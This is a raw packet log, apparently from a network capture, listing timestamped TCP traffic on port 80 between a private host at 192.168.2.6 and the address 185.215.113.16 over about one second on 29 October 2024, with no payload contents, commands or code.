Oct 29, 2024 20:45:01.694813967 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.694813967 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.694964886 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.695009947 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.695020914 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.695075035 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.695075035 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.695637941 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.695759058 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.695769072 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.695821047 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.695988894 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.696060896 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.696070910 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.696089983 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.696139097 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.696207047 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.696218967 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.696285009 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.783587933 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.783616066 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.783700943 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.786667109 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.786731958 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.786838055 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.807485104 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.807516098 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.807528973 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.807579041 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.807652950 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.807671070 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.807683945 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.807717085 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.807887077 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.809752941 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.809772015 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.809783936 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.809820890 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.809931040 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.809942007 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.810049057 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.810065985 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.810146093 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.810158014 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.810192108 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.810192108 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.810419083 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.810484886 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.810497999 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.810547113 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.810595989 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.810656071 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.810982943 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.811041117 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.811052084 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.811062098 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.811085939 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.811124086 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.811331987 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.811392069 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.811403036 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.811450005 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.811625004 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.811666012 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.811691046 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.811702967 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.811743975 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.811835051 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.811846972 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.811901093 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.902651072 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.902704000 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.902719021 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.902862072 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.923125029 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.923171997 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.923194885 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.923218012 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.923233032 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.923233032 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.923254967 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.923280001 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.923336029 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.923399925 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.923456907 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.923618078 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.923737049 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.923871040 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.925689936 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.925726891 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.925739050 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.925776958 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.925844908 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.925856113 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.925868034 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.925880909 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.925888062 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.925919056 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.926054001 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.926110983 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.926506996 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.926546097 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.926558018 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.926620007 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.926686049 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.926697969 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.926709890 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.926723003 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.926764011 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.926764011 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.926826954 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.926894903 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.926942110 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.926963091 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.926974058 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.927038908 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.927289009 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.927303076 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.927325010 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.927337885 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.927375078 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.927608013 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.927685976 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.927699089 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.927732944 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.927825928 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.927895069 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.018338919 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.018378019 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.018389940 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.018429995 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.038758993 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.038794994 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.038806915 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.038857937 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.038868904 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.038876057 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.038887978 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.038887978 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.038923979 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.041366100 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.041393042 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.041404963 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.041451931 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.041497946 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.041512966 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.041526079 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.041640043 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.041665077 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.041676044 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.041687012 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.041723967 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.042059898 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.042072058 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.042083979 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.042135000 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.042135000 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.042179108 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.042191029 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.042203903 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.042289019 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.042366982 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.042382002 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.042495966 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.042619944 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.042702913 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.042716026 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.042731047 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.042840958 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.042854071 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.042917013 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.042927980 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.042992115 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.043100119 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.043162107 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.043174028 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.043190956 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.043268919 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.043328047 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.043339014 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.043345928 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.043453932 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.043709040 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.043766975 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.043782949 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.134030104 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.134124994 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.134203911 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.134251118 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.134283066 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.134293079 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.154591084 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.154634953 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.154647112 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.154687881 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.154727936 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.154759884 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.154823065 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.154834032 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.154875040 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.157080889 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.157130957 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.157143116 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.157181025 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.157205105 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.157221079 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.157340050 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.157351017 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.157396078 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.157459021 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.157469988 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.157531977 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.157679081 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.157723904 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.157754898 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.157767057 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.157913923 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.157926083 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.157937050 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.157953978 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.157984018 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.158222914 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.158262968 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.158291101 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.158302069 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.158337116 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.158438921 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.158452034 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.158509016 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.158679962 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.158746958 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.158756971 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.158797979 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.158910036 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.158950090 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.158981085 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.158991098 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.159029961 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.159090996 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.159327984 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.159364939 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.159658909 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.199779987 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.199804068 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.199815035 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.199832916 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.199862003 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.249886036 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.249941111 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.249958038 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.250000000 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.270344973 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.270359039 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.270370007 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.270452976 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.270466089 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.270477057 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.270530939 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.272777081 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.272815943 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.272846937 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.272859097 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.272897005 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.272950888 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.273021936 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.273034096 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.273072958 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.273133039 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.273184061 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.273192883 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.273205042 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.273245096 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.273314953 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.273477077 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.273514986 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.273541927 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.273554087 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.273586035 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.273670912 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.273870945 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.273884058 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.273922920 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.274010897 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.274023056 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.274056911 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.274115086 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.274149895 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.274318933 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.274374962 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.274386883 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.274410009 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.274564981 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.274627924 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.274638891 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.274657965 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.274677038 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.274785042 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.274797916 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.274873972 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.274903059 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.274914980 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.274924994 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.274947882 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.315742970 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.315794945 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.315824986 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.315843105 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.315856934 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.315897942 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.365483999 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.365528107 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.365537882 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.365577936 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.365581036 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.365621090 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.386183977 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.386228085 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.386239052 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.386279106 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.386347055 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.386358976 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.386369944 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.386384010 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.386413097 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.388571024 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.388587952 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.388600111 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.388641119 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.388705015 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.388715029 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.388741970 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.388768911 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.388780117 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.388802052 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.388904095 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.388915062 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.388938904 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.389024973 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.389035940 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.389069080 CET	62424	80	192.168.2.6	185.215.113.16
